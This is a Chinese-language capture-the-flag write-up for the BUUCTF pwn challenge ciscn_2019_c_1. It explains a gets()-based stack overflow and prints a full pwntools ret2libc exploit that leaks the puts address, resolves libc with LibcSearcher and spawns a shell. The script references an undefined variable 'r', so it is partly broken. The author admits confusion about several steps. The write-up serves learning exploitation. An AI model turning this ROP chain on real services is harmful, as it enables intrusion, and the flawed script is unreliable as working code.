T5 ciscn_2019_c_1
2023-01-30WP
BUUCTF pwn 题
考点:栈溢出 ret2libc3
0x01
这不上一题刚做这类?直接模仿一手。。。。
file checksec —— 64-bit 开NX
0x02
运行一下看看
再看看IDA
研究了半天发现是让你加解密的
再看看string window 没用system和binsh
又发现加密函数里有gets函数,可构成栈溢出
0x03
分析 是相同的思想,这里不赘述了,大致流程就是
- 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的libc的版本
- 用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
- 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后就可以去执行system(’/bin/sh‘)
0x04
写exp
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',28342)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
p.sendlineafter('encrypted\n',payload)
p.interactive()
libcsearch的github网址
安装
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop
覆盖数据payload=b’\0’+b’a’*(0x50-1+8)
\0是为了让加密函数的一个strlen函数停止(这个函数遇‘0’会停止),从而绕过加密,保证我们构造的rop不会被破坏,
buf的大小为0x50
-1是减去\0
+8是覆盖rbp
这道题的接收非常讲究
泄露地址接收时先是两下recvline(),
原因
recvline()一次接收到\n;
第一次recvline只能到Ciphertext;
第二次只能接收到0a
第三次的recvuntil才开始处理泄露的got地址。
先开一下context_log_lever=’debug’,整体看一下, 再自己recvuntil看能接收到什么内容。
然后再用recvuntil(‘\n’)[:-1].ljust(8,’\0’)来舍弃接收到的字符串最后的’\x0’并向左补齐
还有
这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序
因此要用寄存器存参
(为什么呢??还是不理解啊)
注意栈对齐
虽然我不懂为什么要……
还有
最后为什么还要再输一个0呢?
搞不懂了 求助
其实做这题主要还是模仿大佬们写的exp,好多细节都不清楚,但是感觉做了那么久又不能扔在那边等完全懂了再写题解 感觉好浪费
还得再研究啊